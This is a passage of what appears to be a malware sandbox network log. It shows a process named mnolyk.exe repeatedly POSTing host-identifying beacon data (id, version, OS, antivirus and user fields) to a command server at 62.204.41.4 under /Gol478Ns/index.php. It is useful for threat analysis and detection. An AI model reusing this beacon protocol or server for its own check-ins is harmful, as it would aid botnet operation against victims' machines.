Feb 7, 2023 23:07:14.706435919 CET	169	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
540	192.168.2.7	50235	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:27.132915020 CET	655	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:27.195987940 CET	655	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
541	192.168.2.7	50236	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:27.474416018 CET	656	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:27.538129091 CET	656	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
542	192.168.2.7	50237	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:28.175009012 CET	657	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:28.239854097 CET	657	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
543	192.168.2.7	50238	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:28.505872011 CET	658	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:28.570128918 CET	658	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
544	192.168.2.7	50239	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:29.333775997 CET	659	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:29.398273945 CET	659	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
545	192.168.2.7	50240	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:30.031559944 CET	660	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:30.096462965 CET	660	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
546	192.168.2.7	50241	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:30.345221996 CET	661	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:30.408487082 CET	661	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
547	192.168.2.7	50242	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:30.589447021 CET	662	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:30.653734922 CET	662	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
548	192.168.2.7	50243	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:30.844573975 CET	663	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:30.906086922 CET	663	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
549	192.168.2.7	50244	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:31.095484972 CET	664	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:31.160924911 CET	664	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.7	49750	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:14.882616997 CET	170	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:14.946597099 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
550	192.168.2.7	50245	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:31.338382006 CET	665	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:31.401182890 CET	665	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
551	192.168.2.7	50246	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:31.574487925 CET	666	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:31.638185024 CET	666	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
552	192.168.2.7	50247	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:31.810489893 CET	667	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:31.872325897 CET	667	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
553	192.168.2.7	50248	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:32.043751955 CET	668	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:32.106208086 CET	668	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
554	192.168.2.7	50249	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:32.275895119 CET	669	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:32.339564085 CET	669	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
555	192.168.2.7	50250	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:32.516212940 CET	670	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:32.580764055 CET	670	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
556	192.168.2.7	50251	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:32.760946989 CET	671	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:32.824388981 CET	671	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
557	192.168.2.7	50252	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:32.997462034 CET	672	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:33.064398050 CET	672	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
558	192.168.2.7	50253	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:33.281755924 CET	673	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:33.344080925 CET	673	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
559	192.168.2.7	50254	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:33.517905951 CET	674	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:33.583132029 CET	674	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.7	49751	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
